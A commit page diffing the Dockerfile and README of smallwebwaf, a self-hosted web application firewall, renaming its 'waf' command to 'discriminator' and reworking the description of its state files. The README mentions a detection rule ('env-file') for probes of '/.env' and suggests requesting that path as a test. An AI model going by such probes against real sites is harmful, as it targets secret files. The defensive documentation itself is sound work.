1 Commits
Author SHA1 Message Date
sneak 2bdecf2f34 Every time in UTC, and every day as YYYY-MM-DD (closes #313)
check / check (push) Successful in 3m20s
AbuseIPDB's daily count keeps its day as a civil.Date, taken from the UTC
clock and written to reputation.json as "YYYY-MM-DD"; it was a time.Time
at midnight. Every time read from a state file is converted to UTC, so a
time an admin writes with an offset is written back in UTC.
TestMainRunsDiscriminator runs sww discriminator with TZ 14 hours ahead
of UTC and checks that the process line, the request line and
clients.json are in UTC. SPEC.md states the rule near its start;
AGENTS.md makes it an iron rule.

Model: opus-5-5
2026-11-11 01:20:44 +00:00
146 changed files with 7281 additions and 16716 deletions

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+3 -3
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@@ -155,7 +155,7 @@ RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \
-o /usr/local/bin/runsvinit . -o /usr/local/bin/runsvinit .
# The image, described under "Deployment" in SPEC.md. It runs rproxy unless # The image, described under "Deployment" in SPEC.md. It runs rproxy unless
# SWW_COMMAND says waf, and an app's Dockerfile can build FROM it. # SWW_COMMAND says discriminator, and an app's Dockerfile can build FROM it.
# It is the last stage, so a plain `docker build .` builds it. # It is the last stage, so a plain `docker build .` builds it.
# #
# ubuntu 26.04, 2026-09-27 # ubuntu 26.04, 2026-09-27
@@ -222,8 +222,8 @@ RUN groupadd --system --gid 65532 sww \
sww sww
# The state files' directory, SWW_STATE_DIR by default, where a volume # The state files' directory, SWW_STATE_DIR by default, where a volume
# is mounted to keep them across deploys. At each start of waf, the run # is mounted to keep them across deploys. The run script gives it to the
# script makes SWW_STATE_DIR if it is missing and gives it to the sww user. # sww user at each start of discriminator.
RUN mkdir /var/lib/sww RUN mkdir /var/lib/sww
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile # The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
+123 -144
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@@ -11,15 +11,16 @@ refuses the ones that look like abuse. `smallwebwaf` is one program, `sww`,
shipped in one image, with two commands that do this together: shipped in one image, with two commands that do this together:
- `sww rproxy` is a small reverse proxy in front of one app. traefik routes to - `sww rproxy` is a small reverse proxy in front of one app. traefik routes to
it. It asks `waf` about each request, passes the allowed ones to the app, and it. It asks `discriminator` about each request, passes the allowed ones to the
passes the app's answers back. It keeps nothing and never touches disk. app, and passes the app's answers back. It keeps nothing and never touches
- `sww waf` decides. It runs the checks and keeps the bans, the counters and disk.
each client's history. One `waf` serves many sites: a client banned through - `sww discriminator` decides. It runs the checks and keeps the bans, the
one site is refused on all of them, and its requests on all of them count counters and each client's history. One `discriminator` serves many sites: a
toward one set of limits. client banned through one site is refused on all of them, and its requests on
all of them count toward one set of limits.
The site keeps answering while `waf` is down, slow or restarting: without an The site keeps answering while `discriminator` is down, slow or restarting:
answer in time, `rproxy` passes the request to the app. without an answer in time, `rproxy` passes the request to the app.
It protects against: It protects against:
@@ -79,11 +80,11 @@ make docker
Push the image to a registry your hosts pull from, and name it there by digest. Push the image to a registry your hosts pull from, and name it there by digest.
The image runs `rproxy` by default. To run `waf` from the same image, set the The image runs `rproxy` by default. To run `discriminator` from the same image,
container's `SWW_COMMAND` to `waf`. The image's health check follows the set the container's `SWW_COMMAND` to `discriminator`. The image's health check
command: in `rproxy`'s container it passes once `rproxy` answers and the app follows the command: in `rproxy`'s container it passes once `rproxy` answers and
accepts connections, whether or not `waf` answers; in `waf`'s container, once the app accepts connections, whether or not `discriminator` answers; in
`waf` answers. `discriminator`'s container, once `discriminator` answers.
### The usual setup: three containers ### The usual setup: three containers
@@ -91,24 +92,24 @@ The usual setup is three containers on one private network:
- the app; - the app;
- `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND` - `rproxy`, in front of the app, which traefik routes to: `SWRP_WAF_BACKEND`
names `waf` and `SWRP_UPSTREAM_URL` names the app; names `discriminator` and `SWRP_UPSTREAM_URL` names the app;
- `waf`, with `SWW_COMMAND=waf` and a volume at `/var/lib/sww` for its state - `discriminator`, with `SWW_COMMAND=discriminator` and a volume at
files. `/var/lib/sww` for its state files.
Point traefik's labels at port 8080 of `rproxy` Point traefik's labels at port 8080 of `rproxy`
(`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port (`traefik.http.services.<name>.loadbalancer.server.port=8080`). Publish no port
of the app or of `waf`. Anything on that network can reach the app around of the app or of `discriminator`. Anything on that network can reach the app
`rproxy`, and can ask `waf` questions, so the network holds only what you trust. around `rproxy`, and can ask `discriminator` questions, so the network holds
Each further app adds its own container and its own `rproxy`, whose only what you trust. Each further app adds its own container and its own
`SWRP_WAF_BACKEND` names the same `waf`. The "Smallest setup" example below `rproxy`, whose `SWRP_WAF_BACKEND` names the same `discriminator`. The "Smallest
shows this shape. setup" example below shows this shape.
### `rproxy` in the app's container ### `rproxy` in the app's container
An app's image can instead be built on the `smallwebwaf` image, so that `rproxy` An app's image can instead be built on the `smallwebwaf` image, so that `rproxy`
runs beside the app in one container. `waf` still runs in a container of its runs beside the app in one container. `discriminator` still runs in a container
own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named by of its own. The app's `Dockerfile` starts `FROM` the `smallwebwaf` image, named
digest, and adds: by digest, and adds:
- the app's binary; - the app's binary;
- the packages the app needs, from the nixpkgs in the image; - the packages the app needs, from the nixpkgs in the image;
@@ -168,25 +169,26 @@ does.
- A log line with `"msg":"starting"` gives the version, the address and every - A log line with `"msg":"starting"` gives the version, the address and every
setting in effect, with secrets masked. setting in effect, with secrets masked.
- A request to the site through traefik gets the app's answer. - A request to the site through traefik gets the app's answer.
`https://<site>/_sww/healthz` answers `ok`. `waf`'s log lines about the `https://<site>/_sww/healthz` answers `ok`. `discriminator`'s log lines about
request have `"action":"forward"`. the request have `"action":"forward"`.
- To see a refusal without banning yourself, run `waf` with `SWW_MODE=observe` - To see a refusal without banning yourself, run `discriminator` with
and ask for `/.env`. The request reaches the app. `waf`'s log lines have `SWW_MODE=observe` and ask for `/.env`. The request reaches the app.
`"would_action":"temporarily_banned"` and `"rule_ids":["env-file"]`. A ban you `discriminator`'s log lines have `"would_action":"temporarily_banned"` and
get in `enforce` mode is lifted as "Clients and bans" below describes. `"rule_ids":["env-file"]`. A ban you get in `enforce` mode is lifted as
"Clients and bans" below describes.
- With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on - With `SWW_METRICS_TOKEN` set, this answers with the metrics, from a host on
`waf`'s network: `discriminator`'s network:
`curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`. `curl -H "Authorization: Bearer $TOKEN" http://discriminator:8080/_sww/metrics`.
- `make example-app` builds the image and an app on it, runs them, and checks - `make example-app` builds the image and an app on it, runs them, and checks
the whole exchange (see "Entrypoints"). the whole exchange (see "Entrypoints").
## Configuration ## Configuration
Every setting is an environment variable, read once at start; changing one means Every setting is an environment variable, read once at start; changing one means
restarting the container. `rproxy` reads only the `SWRP_` settings, and `waf` restarting the container. `rproxy` reads only the `SWRP_` settings, and
only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a default, chosen `discriminator` only the `SWW_` ones. Every setting but `SWRP_WAF_BACKEND` has a
for a service on the open internet. A setting that needs an account, a key, a default, chosen for a service on the open internet. A setting that needs an
token or an alert destination stays off until you give one. account, a key, a token or an alert destination stays off until you give one.
- Any `SWW_` setting can be given as a file instead, for secrets and long lists: - Any `SWW_` setting can be given as a file instead, for secrets and long lists:
`SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's `SWW_ADMIN_TOKEN_FILE` names the file that holds `SWW_ADMIN_TOKEN`. The file's
@@ -220,23 +222,23 @@ Every setting the code reads, with its default:
| Variable | Default | What it does | | Variable | Default | What it does |
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. | | `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
| `SWRP_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. | | `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | | `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | | `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | | `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. | | `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | | `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | | `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. | | `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. | | `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | | `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWW_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. | | `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `fsn1/waf`. | | `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | | `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | | `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | | `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWW_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. | | `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | | `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. | | `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. | | `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
@@ -293,11 +295,10 @@ Every setting the code reads, with its default:
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. | | `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. | | `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | | `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. | | `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
| `SWW_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. | | `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWW_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | | `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | | `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | | `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | | `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | | `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
@@ -350,8 +351,8 @@ own, where each reaches the others by service name. Each example publishes
### Smallest setup ### Smallest setup
One app, `rproxy` in front of it, and `waf` with a volume for its state files, One app, `rproxy` in front of it, and `discriminator` with a volume for its
every setting at its default. state files, every setting at its default.
```yaml ```yaml
services: services:
@@ -362,20 +363,20 @@ services:
rproxy: rproxy:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWRP_WAF_BACKEND: http://waf:8080 SWRP_WAF_BACKEND: http://discriminator:8080
SWRP_UPSTREAM_URL: http://app:8081 SWRP_UPSTREAM_URL: http://app:8081
ports: ports:
- "8080:8080" - "8080:8080"
waf: discriminator:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWW_COMMAND: waf SWW_COMMAND: discriminator
volumes: volumes:
- waf-state:/var/lib/sww - discriminator-state:/var/lib/sww
volumes: volumes:
waf-state: discriminator-state:
``` ```
### Custom per-address limits ### Custom per-address limits
@@ -398,15 +399,15 @@ services:
rproxy: rproxy:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWRP_WAF_BACKEND: http://waf:8080 SWRP_WAF_BACKEND: http://discriminator:8080
SWRP_UPSTREAM_URL: http://app:8081 SWRP_UPSTREAM_URL: http://app:8081
ports: ports:
- "8080:8080" - "8080:8080"
waf: discriminator:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWW_COMMAND: waf SWW_COMMAND: discriminator
# Monitoring skips every check. # Monitoring skips every check.
SWW_ALLOW_NETS: 192.0.2.10 SWW_ALLOW_NETS: 192.0.2.10
# The office and the automation host are never rate limited. # The office and the automation host are never rate limited.
@@ -425,18 +426,18 @@ services:
SWW_BAN_RESPONSE: "429" SWW_BAN_RESPONSE: "429"
SWW_LIMIT_BAN_DURATION: 30m SWW_LIMIT_BAN_DURATION: 30m
volumes: volumes:
- waf-state:/var/lib/sww - discriminator-state:/var/lib/sww
volumes: volumes:
waf-state: discriminator-state:
``` ```
### `rproxy` beside the app ### `rproxy` beside the app
The app is built on the `smallwebwaf` image, with `rproxy` inside its container. The app is built on the `smallwebwaf` image, with `rproxy` inside its container.
`app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's `app/` holds the `Dockerfile` and `app.run` from "`rproxy` in the app's
container". `rproxy` answers `503` to every request while `waf` is down, and container". `rproxy` answers `503` to every request while `discriminator` is
`waf`: down, and `discriminator`:
- observes before it enforces; - observes before it enforces;
- looks addresses up in a local database rather than GeoJS; - looks addresses up in a local database rather than GeoJS;
@@ -449,17 +450,17 @@ services:
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside. # A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
build: ./app build: ./app
environment: environment:
SWRP_WAF_BACKEND: http://waf:8080 SWRP_WAF_BACKEND: http://discriminator:8080
# Answer 503 rather than pass a request on while waf is down. # Answer 503 rather than pass a request on while discriminator is down.
SWRP_DEFAULT_DISPOSITION: deny SWRP_DEFAULT_DISPOSITION: deny
ports: ports:
- "8080:8080" - "8080:8080"
waf: discriminator:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWW_COMMAND: waf SWW_COMMAND: discriminator
SWW_INSTANCE_NAME: fsn1/waf SWW_INSTANCE_NAME: fsn1/discriminator
# Refuse nothing yet; log what enforce mode would have done. # Refuse nothing yet; log what enforce mode would have done.
SWW_MODE: observe SWW_MODE: observe
# Look addresses up in a local IPinfo Lite database, never GeoJS. # Look addresses up in a local IPinfo Lite database, never GeoJS.
@@ -470,12 +471,12 @@ services:
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
volumes: volumes:
- waf-state:/var/lib/sww - discriminator-state:/var/lib/sww
- /srv/ipinfo:/var/lib/ipinfo:ro - /srv/ipinfo:/var/lib/ipinfo:ro
- /srv/sww/tokens:/etc/sww/tokens:ro - /srv/sww/tokens:/etc/sww/tokens:ro
volumes: volumes:
waf-state: discriminator-state:
``` ```
The database is mounted by its directory, not by file, so that a replaced The database is mounted by its directory, not by file, so that a replaced
@@ -497,21 +498,20 @@ How it works inside. [`SPEC.md`](SPEC.md) gives every rule in full, and why.
### What happens to a request ### What happens to a request
A request goes through these steps, in this order. Once `waf` refuses a request, A request goes through these steps, in this order. Once `discriminator` refuses
the steps after that are skipped, apart from the report, and nothing of the a request, the steps after that are skipped, apart from the report, and nothing
request reaches the app. of the request reaches the app.
`rproxy` takes the first two: `rproxy` takes the first two:
1. The health check, `GET /_sww/healthz`, is answered at once. 1. The health check, `GET /_sww/healthz`, is answered at once.
2. The visitor's address is worked out from `X-Forwarded-For`, believed only 2. The visitor's address is worked out from `X-Forwarded-For`, believed only
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the visitor from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `discriminator` the request as
sent it, with the first 64 KiB of its body. the visitor sent it, with the first 64 KiB of its body.
`waf` takes the checks: `discriminator` takes the checks:
3. The header limits, then the tag lists. A client in `SWW_ALLOW_NETS` skips the 3. The tag lists.
header limits.
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`. 4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
5. The bans. 5. The bans.
6. The lookup of the client's AS number and country. 6. The lookup of the client's AS number and country.
@@ -523,23 +523,23 @@ request reaches the app.
11. The rate limits. 11. The rate limits.
12. The trap paths. 12. The trap paths.
13. The rule files. 13. The rule files.
14. The Core Rule Set. 14. The header limits, and then the Core Rule Set.
15. The tag refusals again, so that `exploitsignature` can refuse too. 15. The tag refusals again, so that `exploitsignature` can refuse too.
16. A path under `/_sww/` is answered `404`, so that the app never sees that 16. A path under `/_sww/` is answered `404`, so that the app never sees that
prefix. prefix.
`rproxy` takes the rest, with `waf` counting at the end: `rproxy` takes the rest, with `discriminator` counting at the end:
17. The request is passed to the app, streaming. 17. The request is passed to the app, streaming.
18. After the answer, `rproxy` sends `waf` a report with the status and the body 18. After the answer, `rproxy` sends `discriminator` a report with the status
bytes each way. For an allowed request, `waf` counts the bytes and the body bytes each way. For an allowed request, `discriminator` counts
`SWW_BYTES_COUNT` names toward the byte limits, bans the client if they take the bytes `SWW_BYTES_COUNT` names toward the byte limits, bans the client if
it past one, and adds the request to the client's history. they take it past one, and adds the request to the client's history.
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
request over the header limits of step 3 is answered `431`, and bans nobody request over the header limits of step 14 is answered `431`, and bans nobody
either. `rproxy` itself answers `405` to a method it does not pass on, and the either. `rproxy` itself answers `405` to a method it does not pass on, and the
status for a size or time limit, such as `413` for a body too large. status for a size or time limit, such as `413` for a body too large.
@@ -560,8 +560,8 @@ status for a size or time limit, such as `413` for a body too large.
### Request tags ### Request tags
Each request gets tags from what `waf` knows of its client, written in the Each request gets tags from what `discriminator` knows of its client, written in
`tags` field of its log line: the `tags` field of its log line:
- `asn=<number>` and `country=<code>`, from the lookup; - `asn=<number>` and `country=<code>`, from the lookup;
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit` - one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit`
@@ -581,7 +581,7 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
front of a code forge, bodies carry what people write and publish, which the front of a code forge, bodies carry what people write and publish, which the
rules take for attacks. rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary - `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
requests get through to the apps listed below. No setting undoes the changes; requests get through to the apps listed below. No setting undoes the changes;
"Attack detection" in [`SPEC.md`](SPEC.md) lists them. "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
- These apps work out of the box at the default settings, and their recorded - These apps work out of the box at the default settings, and their recorded
@@ -589,9 +589,6 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- gitea: git over HTTP and sign-in through Git Credential Manager get - gitea: git over HTTP and sign-in through Git Credential Manager get
through. On gitea's own paths, its searches, file names and branch names through. On gitea's own paths, its searches, file names and branch names
do too. do too.
- Forgejo: git over HTTP and its container and package registries get
through. On Forgejo's own paths, its searches, file names and branch names
do too.
- WordPress: saving a post from the block editor gets through. On - WordPress: saving a post from the block editor gets through. On
WordPress's own paths, its searches, names and file names do too. WordPress's own paths, its searches, names and file names do too.
- Drupal: on Drupal's own paths, the page to return to, its searches and its - Drupal: on Drupal's own paths, the page to return to, its searches and its
@@ -615,32 +612,18 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
fields or paths. fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again - Rule files are plain text, one rule to a line, edited by hand and read again
while `waf` runs. The image ships one file of probes no real visitor sends while `discriminator` runs. The image ships one file of probes no real visitor
(see [`docs/rules.md`](docs/rules.md)). sends (see [`docs/rules.md`](docs/rules.md)).
### State and cache files ### State files
`waf` keeps everything in memory, and JSON files hold a copy: `discriminator` keeps everything in memory, and the five JSON files in
`SWW_STATE_DIR` hold a copy: `bans.json`, `clients.json`, `lookups.json`,
- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again: `reputation.json` and `alerts.json`. Each is written whole, to a temporary file
- `bans.json`; renamed over the real one, so a crash leaves a complete file. `discriminator`
- `clients.json`; notices a file edited on disk and takes the edit in; an edit that does not parse
- `abuseipdb-checks-spent.json`; is set aside as `<name>.bad`, and never stops the running process (see
- `alerts.json`. [`docs/state-files.md`](docs/state-files.md)).
- The cache files, in `SWW_CACHE_DIR`, hold answers from outside services:
- `lookups.json`, from GeoJS;
- `lists.json`, the lists fetched by URL;
- `dnsbl.json`, from the DNS blocklists;
- `abuseipdb-scores.json`, from AbuseIPDB;
- `routewatch.json`, from routewatch.
Back up the state directory. The cache directory can be left out of backups: a
lost cache file starts empty and fills again.
Each file is written whole, to a temporary file renamed over the real one, so a
crash leaves a complete file. `waf` notices a file edited on disk and takes the
edit in. An edit that does not parse is set aside as `<name>.bad`, and never
stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
### The image and its processes ### The image and its processes
@@ -649,19 +632,20 @@ stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
`Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the `Dockerfile` installs a package with `nix-env -iA nixpkgs.<name>` and gets the
same package each time it is built (see [`docs/image.md`](docs/image.md)). same package each time it is built (see [`docs/image.md`](docs/image.md)).
- runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532) - runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
and starts it again when it exits. The `run` script of `waf` gives the state and starts it again when it exits. The `run` script of `discriminator` gives
directory to the `sww` user at each start, so a volume needs no change of the state directory to the `sww` user at each start, so a volume needs no
owner. It makes the cache directory for that user too. change of owner.
- `rproxy` and `waf` use no token between them. `waf`'s own endpoints, under - `rproxy` and `discriminator` use no token between them. `discriminator`'s own
`/_sww/`, are for your admin tools and your metrics collector, at its own endpoints, under `/_sww/`, are for your admin tools and your metrics
address on the private network; nothing routes the internet there. collector, at its own address on the private network; nothing routes the
internet there.
- `docker stop` gives requests in progress five seconds to finish. With `rproxy` - `docker stop` gives requests in progress five seconds to finish. With `rproxy`
in the app's container, the app must keep answering for five seconds after in the app's container, the app must keep answering for five seconds after
`SIGTERM` for that to help them. `SIGTERM` for that to help them.
- Only faults found at start stop a process: an invalid setting, a rule file or - Only faults found at start stop a process: an invalid setting, a rule file or
state file that does not parse, a lookup database that cannot be read, or an state file that does not parse, a lookup database that cannot be read, or an
address it cannot listen on. Once running, a failing lookup service, address it cannot listen on. Once running, a failing lookup service,
reputation source or alert destination never takes `waf` down. reputation source or alert destination never takes `discriminator` down.
### Packages ### Packages
@@ -669,15 +653,15 @@ stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
- `internal/sww`: the process, as the command it is given, and the health check. - `internal/sww`: the process, as the command it is given, and the health check.
- `internal/config`: reads the settings, the one place they are read. - `internal/config`: reads the settings, the one place they are read.
- `internal/rproxy`: the reverse proxy in front of one app. - `internal/rproxy`: the reverse proxy in front of one app.
- `internal/waf`: `waf`'s server, which runs the checks and answers its own - `internal/discriminator`: `discriminator`'s server, which runs the checks and
endpoints. answers its own endpoints.
- `internal/ratelimit`, `internal/bans`, `internal/rules`, - `internal/ratelimit`, `internal/bans`, `internal/rules`,
`internal/coreruleset`, `internal/lookup`, `internal/reputation`, `internal/coreruleset`, `internal/lookup`, `internal/reputation`,
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or `internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
source each. source each.
- `internal/state`, `internal/requestlog`, `internal/remotelog` and - `internal/state`, `internal/requestlog`, `internal/remotelog` and
`internal/metrics`: the state and cache files, the log lines, the syslog `internal/metrics`: the state files, the log lines, the syslog sender and the
sender and the metrics. metrics.
## Rationale ## Rationale
@@ -711,8 +695,7 @@ on the host.
- `script/bootstrap`: installs on the host what the other scripts need, with - `script/bootstrap`: installs on the host what the other scripts need, with
`make bootstrap`: `make bootstrap`:
- `make`, `git` and `curl`; - `make`, `git` and `curl`;
- Go, for `gofmt` and to build `golines`; - Go, for `gofmt`;
- `golines`, at a pinned version, with `go install`;
- node, yarn and prettier. - node, yarn and prettier.
- `script/setup`: readies a fresh clone: `script/bootstrap`, then - `script/setup`: readies a fresh clone: `script/bootstrap`, then
`script/install-precommit`. `make setup`. `script/install-precommit`. `make setup`.
@@ -729,11 +712,8 @@ on the host.
the `tidy` stage of the `Dockerfile`. `make tidy`. the `tidy` stage of the `Dockerfile`. `make tidy`.
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`. - `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
`make lint`. `make lint`.
- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and - `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
